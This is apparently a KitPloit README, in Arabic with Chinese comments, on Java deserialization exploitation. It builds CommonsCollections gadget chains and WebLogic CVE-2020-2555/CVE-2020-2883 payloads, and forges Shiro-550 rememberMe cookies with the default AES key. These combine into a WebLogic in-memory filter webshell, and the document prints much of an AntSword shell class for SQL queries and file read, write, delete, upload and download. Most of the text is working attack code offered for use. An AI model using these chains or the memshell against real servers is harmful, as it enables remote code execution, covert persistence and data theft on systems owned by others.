        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
 */

تنزيل الأداة

اشتقاق السلسلتين

يستخدم CC2 فئة TemplatesImpl لتحقيق RCE عبر تهيئة بايت كود خبيث، بينما يحقق CC5 RCE من خلال استدعاءات سلسلية خطوة بخطوة باستخدام الانعكاس. لكن الجوهر هو في الواقع الانعكاس، ويمكن تعديل السلسلتين لتوليد سلسلة أخرى.```java package org.chabug.demo;

import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.chabug.util.Serializables; import ysoserial.payloads.util.Reflections;

import java.lang.reflect.Field; import java.util.PriorityQueue;

public class MyCC { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers);

root@kitploit:~
    Class clazz = ChainedTransformer.class;
    Field iTransformers = clazz.getDeclaredField("iTransformers");
    iTransformers.setAccessible(true);

    Transformer[] transformers1 = new Transformer[]{
            new InvokerTransformer("toString", new Class[]{}, new Object[]{})
    };
    ChainedTransformer chain1 = new ChainedTransformer(transformers1);

    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain1));
    queue.add("1");
    queue.add("1");
    iTransformers.set(chain1, transformers);

    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = Runtime.class;
    queueArray[1] = 1;


    byte[] bytes = Serializables.serializeToBytes(queue);
    Serializables.deserializeFromBytes(bytes);
}

}

root@kitploit:~
في الواقع، يتم دمج النصف الأول من CC5 مع النصف الثاني من CC2، باستخدام سلسلة استدعاءات CC5 لتنفيذ الأوامر، واستخدام CC2 لتشغيل toString.

## عدة طرق لتحميل الفئات بواسطة Java ClassLoader

> Java هي لغة مترجمة، حيث يجب ترجمة جميع أكواد Java إلى bytecode ليتم تنفيذها بواسطة JVM. عند تهيئة فئة Java، يتم استدعاء `java.lang.ClassLoader` لتحميل bytecode الفئة، ويقوم ClassLoader باستدعاء طريقة defineClass لإنشاء مثيل من الفئة `java.lang.Class`.

فئة ClassLoader هي فئة مجردة ولا يمكن استخدامها مباشرة. هناك عدة فئات تنفيذية في JDK، مثل DefiningClassLoader وBCEL ClassLoader وGroovyClassLoader وURLClassLoader وBytecodeLoader من org.python.core.PythonInterpreter في Jython، وغيرها، ويمكن أيضًا تنفيذ ClassLoader بنفسك.

تركز هذه المقالة على ثلاثة أنواع: URLClassLoader وBytecodeLoader وتنفيذ ClassLoader مخصص لتحميل الفئات من bytecode.

### URLClassLoader```java
package org.chabug.loader;

import java.net.URL;
import java.net.URLClassLoader;

public class URLClassLoaderDemo {
    public static void main(String[] args) throws Exception {
//        URL url = new URL("https://baidu.com/cmd.jar");   // 也可以加载远程jar
        URL url = new URL("file:///d:/calc.jar");

        // 创建URLClassLoader对象,并加载远程jar包
        URLClassLoader ucl = new URLClassLoader(new URL[]{url});
        
        // 通过URLClassLoader加载jar包
        Class<?> aClass = ucl.loadClass("org.chabug.demo.Calc");
        aClass.newInstance();
    }
}

jar包制作命令为jar cvf calc.jar Calc.class,恶意代码直接写在static代码块中، سيتم تنفيذ كود خبيث مباشرة في كتلة الرمز الثابت،新建类实例newInstance()时会自动执行.

image-20200822163304144

تم فتح الآلة الحاسبة بنجاح

image-20200822163450161

BytecodeLoader```java

package org.chabug.loader;

import org.python.util.PythonInterpreter;

import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream;

public class BytecodeLoaderLoader { public static void main(String[] args) throws Exception { String className = "org.chabug.demo.Calc"; byte[] bytes = getBytesByFile("E:\code\java\JavaSerialize\target\classes\org\chabug\demo\Calc.class"); String classBytes = ""; for (byte b : bytes) { classBytes += String.format("%s%s", b, ","); } String s = String.format("from org.python.core import BytecodeLoader;\n" + "from jarray import array\n" + "myList = [%s]\n" + "bb = array( myList, 'b')\n" + "BytecodeLoader.makeClass("%s",None,bb).getConstructor([]).newInstance([]);", classBytes, className); PythonInterpreter instance = PythonInterpreter.class.getConstructor(null).newInstance(); instance.exec(s); }

root@kitploit:~
public static byte[] getBytesByFile(String pathStr) {
    File file = new File(pathStr);
    try {
        FileInputStream fis = new FileInputStream(file);
        ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
        byte[] b = new byte[1000];
        int n;
        while ((n = fis.read(b)) != -1) {
            bos.write(b, 0, n);
        }
        fis.close();
        byte[] data = bos.toByteArray();
        bos.close();
        return data;
    } catch (Exception e) {
        e.printStackTrace();
    }
    return null;
}

}

root@kitploit:~
![image-20200822172647180](https://assets.kitploit.com/production/public/readmes/21799/439eb1ef261bd6925a2ef715e140999f7697173d16d8eed992d8d6bc0fbb8479.png)

### ClassLoader مخصص

![image-20200822173106095](https://assets.kitploit.com/production/public/readmes/21799/fcef275c5db106938c04ea83ea7f513bd8bbefdcca3d2683445fa0cdd3c3964c.png)```java
package org.chabug.loader;

import static org.chabug.loader.BytecodeLoaderLoader.getBytesByFile;

public class MyLoader extends ClassLoader {
    public static String className = "org.chabug.demo.Calc";
    public static byte[] bytes = getBytesByFile("E:\\code\\java\\JavaSerialize\\target\\classes\\org\\chabug\\demo\\Calc.class");

    public static void main(String[] args) throws Exception {
        new MyLoader().loadClass(className).newInstance();
    }

    @Override
    public Class<?> findClass(String name) throws ClassNotFoundException {
        // 只处理TestHelloWorld类
        if (name.equals(className)) {
            // 调用JVM的native方法定义TestHelloWorld类
            return defineClass(className, bytes, 0, bytes.length);
        }

        return super.findClass(name);
    }
}

WebLogic CVE-2020-2555 CVE-2020-2883 RCE

هذان الثغران (CVE-2020-2555 و CVE-2020-2883) يشبهان إلى حد كبير شكل سلسلة CC chain، لكن الفرق يكمن في بناء gadget. لنبدأ بأول ثغرة ظهرت وهي CVE-2020-2555.

CVE-2020-2555

المشكلة تكمن في com.tangosol.util.extractor.ReflectionExtractor#extract.```java public Object extract(Object oTarget) { if (oTarget == null) { return null; } else { Class clz = oTarget.getClass();

root@kitploit:~
    try {
        Method method = this.m_methodPrev;
        if (method == null || method.getDeclaringClass() != clz) {
            this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), this.getClassArray(), false);
        }
        return method.invoke(oTarget, this.m_aoParam);
    } catch (NullPointerException var4) {
        throw new RuntimeException(this.suggestExtractFailureCause(clz));
    } catch (Exception var5) {
        throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
    }
}

}

root@kitploit:~
تمامًا مثل `transform()` في سلسلة CC، لذلك هناك حاجة أيضًا لإيجاد فئة مشابهة لـ `ChainedTransformer`.```java
public E extract(Object oTarget) {
    ValueExtractor[] aExtractor = this.getExtractors();
    int i = 0;

    for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
        oTarget = aExtractor[i].extract(oTarget);
    }

    return oTarget;
}

this.getExtractors()ينشأ من فئته الأم AbstractCompositeExtractor```java protected ValueExtractor[] m_aExtractor; public ValueExtractor[] getExtractors() { return this.m_aExtractor; }

root@kitploit:~
وcom.tangosol.util.filter.LimitFilter#toStringسيتم تشغيلextract()```java
public String toString() {
    StringBuilder sb = new StringBuilder("LimitFilter: (");
    sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);
    if (this.m_comparator instanceof ValueExtractor) {
        ValueExtractor extractor = (ValueExtractor)this.m_comparator;
        sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));
    } else if (this.m_comparator != null) {
        sb.append(", comparator=").append(this.m_comparator);
    }

    sb.append("])");
    return sb.toString();
}

انتبه لهذه```java ValueExtractor extractor = (ValueExtractor)this.m_comparator; extractor.extract(this.m_oAnchorTop) extractor.extract(this.m_oAnchorBottom)

root@kitploit:~
عرض حقول هذه الفئة```java
private Comparator m_comparator;
private Object m_oAnchorTop;
private Object m_oAnchorBottom;

m_comparator هو من نوع Comparator، وChainedTransformer يقوم بتطبيق هذه الواجهة.

image-20200824101352678

لذا يمكن وضع كائن chainedExtractor في m_comparator، ثم تمرير Runtime.class إلى m_oAnchorTop فقط.

الخلاصة: استخدام BadAttributeValueExpException لتشغيل toString() الخاص بـ LimitFilter، ثم استدعاء extract() بشكل متسلسل عبر ChainedExtractor لتنفيذ Runtime.```java package org.chabug.cve;

import com.tangosol.util.extractor.ChainedExtractor; import com.tangosol.util.extractor.ReflectionExtractor; import com.tangosol.util.filter.LimitFilter; import org.chabug.util.Serializables;

import javax.management.BadAttributeValueExpException; import java.lang.reflect.Field;

public class CVE_2020_2555 { public static void main(String[] args) throws Exception { ReflectionExtractor extractor1 = new ReflectionExtractor( "getMethod", new Object[]{"getRuntime", new Class[0]}

root@kitploit:~
    );

    // get invoke() to execute exec()
    ReflectionExtractor extractor2 = new ReflectionExtractor(
            "invoke",
            new Object[]{null, new Object[0]}

    );

    // invoke("exec","calc")
    ReflectionExtractor extractor3 = new ReflectionExtractor(
            "exec",
            new Object[]{new String[]{"cmd", "/c", "calc"}}
    );

    ReflectionExtractor[] extractors = {
            extractor1,
            extractor2,
            extractor3,
    };

    ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
    LimitFilter limitFilter = new LimitFilter();

    //m_comparator
    Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
    m_comparator.setAccessible(true);
    m_comparator.set(limitFilter, chainedExtractor);

    //m_oAnchorTop
    Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
    m_oAnchorTop.setAccessible(true);
    m_oAnchorTop.set(limitFilter, Runtime.class);

    BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
    Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
    field.setAccessible(true);
    field.set(badAttributeValueExpException, limitFilter);

    // serialize

    byte[] buf = Serializables.serializeToBytes(badAttributeValueExpException);
    Serializables.deserializeFromBytes(buf);

}

}

root@kitploit:~
### CVE-2020-2883

2883 في الواقع هي السلسلة التي اشتقناها سابقًا من سلسلتي CC.```java
package org.chabug.cve;

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.chabug.util.Serializables;
import ysoserial.payloads.util.Reflections;

import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CVE_2020_2883 {
    public static void main(String[] args) throws Exception {
        ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}});
        ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}});
        ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", "calc"}});

        ValueExtractor[] valueExtractors = new ValueExtractor[]{
                reflectionExtractor1,
                reflectionExtractor2,
                reflectionExtractor3,
        };

        Class clazz = ChainedExtractor.class.getSuperclass();
        Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
        m_aExtractor.setAccessible(true);

        ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
        ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
                reflectionExtractor
        };

        ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);

        PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
        queue.add("1");
        queue.add("1");
        m_aExtractor.set(chainedExtractor1, valueExtractors);

        Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = Runtime.class;
        queueArray[1] = "1";

        byte[] buf = Serializables.serializeToBytes(queue);
    }
}

سلسلة الاستغلال بأكملها```java /*

  • readObject:797, PriorityQueue (java.util)
  • heapify:737, PriorityQueue (java.util)
  • siftDown:688, PriorityQueue (java.util)
  • siftDownUsingComparator:722, PriorityQueue (java.util)
  • compare:71, ExtractorComparator (com.tangosol.util.comparator)
  • extract:81, ChainedExtractor (com.tangosol.util.extractor)
  • extract:109, ReflectionExtractor (com.tangosol.util.extractor)
  • invoke:498, Method (java.lang.reflect) */
root@kitploit:~
جزء CVE الأولين متطابقان في النصف الأول، حيث يتم بناء سلسلة (chain) إلى Runtime عبر `ChainedExtractor`. في CVE-2555 يستخدم `BadAttributeValueExpException`، وفي CVE-2883 يستخدم `PriorityQueue`.

## Shiro-550 rememberMe تشفير ثابت يؤدي إلى RCE عن طريق إلغاء التسلسل

أولاً، يجب معرفة أن Shiro هو إطار عمل يستخدم للمصادقة، ويعتمد مبدأه على الفلتر المستند إلى servlet. مكتبة Shiro تعرّف `ShiroFilter` في `web.xml`، ونطاقه هو جميع عناوين URL تحت المسار الحالي.

![image-20200824110636439](https://assets.kitploit.com/production/public/readmes/21799/8ad70a3abecab5f29d30a73685b199f6c8fa6462d442af93d796a2988d40b698.png)

تتم معالجة ملفات تعريف الارتباط (cookie) في فئة `CookieRememberMeManager`، التي ترث من `AbstractRememberMeManager`. في `AbstractRememberMeManager` يتم تشفير المفتاح الثابت `DEFAULT_CIPHER_KEY_BYTES` بشكل مشفر.

![image-20200824110840912](https://assets.kitploit.com/production/public/readmes/21799/a567c7fcb5a9f0c39e547b1a9971a289a2ea3324cde7609a02b05f466255f6fe.png)

يتم استخدام تشفير AES في وضع CBC المتناظر، ثم يتم إجراء التسلسل وإلغاء التسلسل عبر `org.apache.shiro.io.DefaultSerializer`.

![image-20200824111728416](https://assets.kitploit.com/production/public/readmes/21799/c5041ab11adbdd389ae3cb6c1a47a8a892725dd0aa7db7bab59c569b7e20e38a.png)

عند معرفة خوارزمية التشفير والمفتاح الثابت، يمكن إنشاء كائن خبيث لتنفيذ RCE عن طريق إلغاء التسلسل. خوارزمية التشفير هي كما يلي:```java
package org.chabug.util;

import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;

import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;

public class EncryptUtil {
    private static final String ENCRY_ALGORITHM = "AES";
    private static final String CIPHER_MODE = "AES/CBC/PKCS5Padding";
    private static final byte[] IV = "aaaaaaaaaaaaaaaa".getBytes();     // 16字节IV

    public EncryptUtil() {
    }

    public static byte[] encrypt(byte[] clearTextBytes, byte[] pwdBytes) {
        try {
            SecretKeySpec keySpec = new SecretKeySpec(pwdBytes, ENCRY_ALGORITHM);
            Cipher cipher = Cipher.getInstance(CIPHER_MODE);
            IvParameterSpec iv = new IvParameterSpec(IV);
            cipher.init(1, keySpec, iv);
            byte[] cipherTextBytes = cipher.doFinal(clearTextBytes);
            return cipherTextBytes;
        } catch (NoSuchPaddingException var6) {
            var6.printStackTrace();
        } catch (NoSuchAlgorithmException var7) {
            var7.printStackTrace();
        } catch (BadPaddingException var8) {
            var8.printStackTrace();
        } catch (IllegalBlockSizeException var9) {
            var9.printStackTrace();
        } catch (InvalidKeyException var10) {
            var10.printStackTrace();
        } catch (Exception var11) {
            var11.printStackTrace();
        }

        return null;
    }

    public static String shiroEncrypt(String key, byte[] objectBytes) {
        byte[] pwd = Base64.decode(key);
        byte[] cipher = encrypt(objectBytes, pwd);

        assert cipher != null;

        byte[] output = new byte[pwd.length + cipher.length];
        byte[] iv = IV;
        System.arraycopy(iv, 0, output, 0, iv.length);
        System.arraycopy(cipher, 0, output, pwd.length, cipher.length);
        return Base64.encode(output);
    }
}

توليد cookie rememberMe باستخدام CC5```java package org.chabug.shiro;

import org.chabug.util.EncryptUtil; import org.chabug.util.Serializables; import ysoserial.payloads.CommonsCollections5;

public class Shiro550 { public static void main(String[] args) throws Exception { CommonsCollections5 cc = new CommonsCollections5(); Object calc = cc.getObject("calc"); byte[] bytes = Serializables.serializeToBytes(calc); String key = "kPH+bIxk5D2deZiIxcaaaA=="; String rememberMe = EncryptUtil.shiroEncrypt(key, bytes); System.out.println(rememberMe); } }

root@kitploit:~
bp发包

![image-20200824113600901](https://assets.kitploit.com/production/public/readmes/21799/871a02527794f8a457b1eca464a2c4c439faa6b6476c560d9d02102ed23efaf0.png)

ظهور الآلة الحاسبة على الهدف

![image-20200824113637777](https://assets.kitploit.com/production/public/readmes/21799/8c1703587a40fd3b49f761a765c457563dd083bd1865837a83d69f2ca2c31a51.png)

## WebLogic + Shiro: تسجيل مرشح (filter) شل في الذاكرة بنقرة واحدة عبر إلغاء التسلسل

والآن إلى الموضوع الرئيسي، لنبدأ بفكرة عامة:

الهدف الذي واجهناه هو Shiro لا يحتوي على gadget متاحة، ولكن تم اكتشاف أن مفتاحه هو الافتراضي `kPH+bIxk5D2deZiIxcaaaA==`، ومن خلال صفحة الخطأ 404 تبين أنه WebLogic، وتم استخدام gadget CVE-2020-2883 لتحقيق RCE بنجاح، ولكن لا يوجد اتصال بالشبكة الخارجة، ولا يمكن الحصول على شل عكسي، كما أن SpringMVC لا يمكن الوصول إلى ملفات jsp المكتوبة، لذلك لم يبق سوى إنشاء filter شل في الذاكرة.

ملخص:

1. مدخل إلغاء التسلسل هو Shiro
2. gadget هو 2883
3. 2883 يعرّف البايت كود عبر URLClassLoader
4. في البايت كود تُكتب شيفرة تسجيل شل الذاكرة
5. يتم تسجيل filter shell في ذاكرة WebLogic

أولاً، حل مشكلة استخدام gadget Shiro+2883، الأمر ببساطة هو أخذ كائن queue الذي تم إنشاؤه بواسطة 2883 السابق وتشفيره باستخدام AES base64 في Shiro.```java
byte[] buf = Serializables.serializeToBytes(queue);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
System.out.println(rememberMe);

لتحديد البايت كود، يجب أولاً كتابة فئة البايت كود، أي كود حقن شيل في الذاكرة.```java package org.chabug.memshell;

import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Map;

public class InjectFilterShell { static { try { Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread"); Method m = executeThread.getDeclaredMethod("getCurrentWork"); Object currentWork = m.invoke(Thread.currentThread());

root@kitploit:~
        Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
        connectionHandlerF.setAccessible(true);
        Object obj = connectionHandlerF.get(currentWork);

        Field requestF = obj.getClass().getDeclaredField("request");
        requestF.setAccessible(true);
        obj = requestF.get(obj);

        Field contextF = obj.getClass().getDeclaredField("context");
        contextF.setAccessible(true);
        Object context = contextF.get(obj);

        Field classLoaderF = context.getClass().getDeclaredField("classLoader");
        classLoaderF.setAccessible(true);
        ClassLoader cl = (ClassLoader) classLoaderF.get(context);

        Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses");
        cachedClassesF.setAccessible(true);
        Object cachedClass = cachedClassesF.get(cl);

        Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);
        if (getM.invoke(cachedClass, "shell") == null) {
            byte[] codeClass = getBytesByFile("C:/Users/Administrator/Desktop/AntSwordFilterShell.class");
            Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            Class evilFilterClass = (Class) defineClass.invoke(cl, codeClass, 0, codeClass.length);

            String evilName = "gameName" + System.currentTimeMillis();
            String filterName = "gameFilter" + System.currentTimeMillis();
            String[] url = new String[]{"/*"};

            Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);
            putM.invoke(cachedClass, filterName, evilFilterClass);
            Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
            Object filterManager = getFilterManagerM.invoke(context);

            Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
            registerFilterM.setAccessible(true);
            registerFilterM.invoke(filterManager, evilName, filterName, url, null, null, null);
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
}

public static byte[] getBytesByFile(String pathStr) {
    File file = new File(pathStr);
    try {
        FileInputStream fis = new FileInputStream(file);
        ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
        byte[] b = new byte[1000];
        int n;
        while ((n = fis.read(b)) != -1) {
            bos.write(b, 0, n);
        }
        fis.close();
        byte[] data = bos.toByteArray();
        bos.close();
        return data;
    } catch (Exception e) {
        e.printStackTrace();
    }
    return null;
}

}

root@kitploit:~
بعد تجميع وإنشاء ملف jar، يتم كتابته عبر تنفيذ أمر base64 -d، ليتم استخدامه لاحقًا لتحميل هذا الـ jar عبر URLClassLoader. ولأن الكود موجود في كتلة static، فإنه سيتم تنفيذه تلقائيًا عند التحميل.

ثم كتابة الكود لتحميل الـ jar السابق عبر URLClassLoader باستخدام 2883.```java
package org.chabug.memshell;

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.chabug.util.EncryptUtil;
import org.chabug.util.Serializables;
import ysoserial.payloads.util.Reflections;

import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.PriorityQueue;

public class CVE_2020_2883_URLClassLoader {
    public static void main(String[] args) {
        try {
            ReflectionExtractor extractor1 = new ReflectionExtractor(
                    "getConstructor",
                    new Object[]{new Class[]{URL[].class}}
            );

            ReflectionExtractor extractor2 = new ReflectionExtractor(
                    "newInstance",
                    new Object[]{new Object[]{new URL[]{new URL("file:///C:/Users/Administrator/Desktop/tttt.jar")}}}
            );

            // load filter shell
            ReflectionExtractor extractor3 = new ReflectionExtractor(
                    "loadClass",
                    new Object[]{"org.chabug.memshell.InjectFilterShell"}
            );

            ReflectionExtractor extractor4 = new ReflectionExtractor(
                    "getConstructor",
                    new Object[]{new Class[]{}}
            );

            ReflectionExtractor extractor5 = new ReflectionExtractor(
                    "newInstance",
                    new Object[]{new Object[]{}}
            );


            ValueExtractor[] valueExtractors = new ValueExtractor[]{
                    extractor1,
                    extractor2,
                    extractor3,
                    extractor4,
                    extractor5,
            };
            Class clazz = ChainedExtractor.class.getSuperclass();
            Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
            m_aExtractor.setAccessible(true);

            ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
            ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
                    reflectionExtractor
            };

            ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);

            PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
            queue.add("1");
            queue.add("1");
            m_aExtractor.set(chainedExtractor1, valueExtractors);

            Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
            queueArray[0] = URLClassLoader.class;
            queueArray[1] = "1";

            byte[] buf = Serializables.serializeToBytes(queue);
            String key = "kPH+bIxk5D2deZiIxcaaaA==";
            String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
            System.out.println(rememberMe);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

من خلال تحميل الفئة org.chabug.memshell.InjectFilterShell عبر URLClassLoader، يتم تنفيذ الكود الثابت (static) تلقائيًا، حيث يقرأ الكود الثابت البايت كود الخاص بالملف C:/Users/Administrator/Desktop/AntSwordFilterShell.class، ثم يقوم بحقن الفئة AntSwordFilterShell عبر تعريف البايت كود، وتكون AntSwordFilterShell هي الـ Filter shell لدينا، الكود كالتالي:```java package org.chabug.memshell;

import javax.servlet.; import java.io.; import java.net.HttpURLConnection; import java.net.URL; import java.sql.*; import java.text.SimpleDateFormat;

public class AntSwordFilterShell implements Filter{

root@kitploit:~
String Pwd = "th1sIsMySecretPassW0rd!";   //连接密码
String encoder = ""; // default
String cs = "UTF-8"; // 脚本自身编码

String EC(String s) throws Exception {
    if (encoder.equals("hex") || encoder == "hex") return s;
    return new String(s.getBytes("ISO-8859-1"), cs);
}

String showDatabases(String encode, String conn) throws Exception {
    String sql = "show databases"; // mysql
    String columnsep = "\t";
    String rowsep = "";
    return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}

String showTables(String encode, String conn, String dbname) throws Exception {
    String sql = "show tables from " + dbname; // mysql
    String columnsep = "\t";
    String rowsep = "";
    return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}

String showColumns(String encode, String conn, String dbname, String table) throws Exception {
    String columnsep = "\t";
    String rowsep = "";
    String sql = "select * from " + dbname + "." + table + " limit 0,0"; // mysql
    return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}

String query(String encode, String conn, String sql) throws Exception {
    String columnsep = "\t|\t"; // general
    String rowsep = "\r\n";
    return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}

String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)
        throws Exception {
    String ret = "";
    conn = (EC(conn));
    String[] x = conn.trim().replace("\r\n", "\n").split("\n");
    Class.forName(x[0].trim());
    String url = x[1] + "&characterEncoding=" + decode(EC(encode), encoder);
    Connection c = DriverManager.getConnection(url);
    Statement stmt = c.createStatement();
    ResultSet rs = stmt.executeQuery(sql);
    ResultSetMetaData rsmd = rs.getMetaData();

    if (needcoluname) {
        for (int i = 1; i <= rsmd.getColumnCount(); i++) {
            String columnName = rsmd.getColumnName(i);
            ret += columnName + columnsep;
        }
        ret += rowsep;
    }

    while (rs.next()) {
        for (int i = 1; i <= rsmd.getColumnCount(); i++) {
            String columnValue = rs.getString(i);
            ret += columnValue + columnsep;
        }
        ret += rowsep;
    }
    return ret;
}

String WwwRootPathCode(ServletRequest r) throws Exception {
    //  String d = r.getSession().getServletContext().getRealPath("/");
    String d = this.getClass().getClassLoader().getResource("/").getPath();
    String s = "";
    if (!d.substring(0, 1).equals("/")) {
        File[] roots = File.listRoots();
        for (int i = 0; i < roots.length; i++) {
            s += roots[i].toString().substring(0, 2) + "";
        }
    } else {
        s += "/";
    }
    return s;
}

String FileTreeCode(String dirPath) throws Exception {
    File oF = new File(dirPath), l[] = oF.listFiles();
    String s = "", sT, sQ, sF = "";
    java.util.Date dt;
    SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
    for (int i = 0; i < l.length; i++) {
        dt = new java.util.Date(l[i].lastModified());
        sT = fm.format(dt);
        sQ = l[i].canRead() ? "R" : "";
        sQ += l[i].canWrite() ? " W" : "";
        if (l[i].isDirectory()) {
            s += l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
        } else {
            sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
        }
    }
    return s += sF;
}

String ReadFileCode(String filePath) throws Exception {
    String l = "", s = "";
    BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath))));
    while ((l = br.readLine()) != null) {
        s += l + "\r\n";
    }
    br.close();
    return s;
}

String WriteFileCode(String filePath, String fileContext) throws Exception {
    BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath))));
    bw.write(fileContext);
    bw.close();
    return "1";
}

String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {
    File f = new File(fileOrDirPath);
    if (f.isDirectory()) {
        File x[] = f.listFiles();
        for (int k = 0; k < x.length; k++) {
            if (!x[k].delete()) {
                DeleteFileOrDirCode(x[k].getPath());
            }
        }
    }
    f.delete();
    return "1";
}

void DownloadFileCode(String filePath, ServletResponse r) throws Exception {
    int n;
    byte[] b = new byte[512];
    r.reset();
    ServletOutputStream os = r.getOutputStream();
    BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));
    os.write(("->|").getBytes(), 0, 3);
    while ((n = is.read(b, 0, 512)) != -1) {
        os.write(b, 0, n);
    }
    os.write(("|<-").getBytes(), 0, 3);
    os.close();
    is.close();
}

String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {
    String h = "0123456789ABCDEF";
    File f = new File(savefilePath);
    f.createNewFile();
    FileOutputStream os = new FileOutputStream(f);
    for (int i = 0; i < fileHexContext.length(); i += 2) {
        os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
    }
    os.close();
    return "1";
}

String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {
    File sf = new File(sourceFilePath), df = new File(targetFilePath);
    if (sf.isDirectory()) {
        if (!df.exists()) {
            df.mkdir();
        }
        File z[] = sf.listFiles();
        for (int j = 0; j < z.length; j++) {
            CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName());
        }
    } else {
        FileInputStream is = new FileInputStream(sf);
        FileOutputStream os = new FileOutputStream(df);
        int n;
        byte[] b = new byte[1024];
        while ((n = is.read(b, 0, 1024)) != -1) {
            os.write(b, 0, n);
        }
        is.close();
        os.close();
    }
    return "1";
}

String RenameFileOrDirCode(String oldName, String newName) throws Exception {
    File sf = new File(oldName), df = new File(newName);
    sf.renameTo(df);
    return "1";
}

String CreateDirCode(String dirPath) throws Exception {
    File f = new File(dirPath);
    f.mkdir();
    return "1";
}

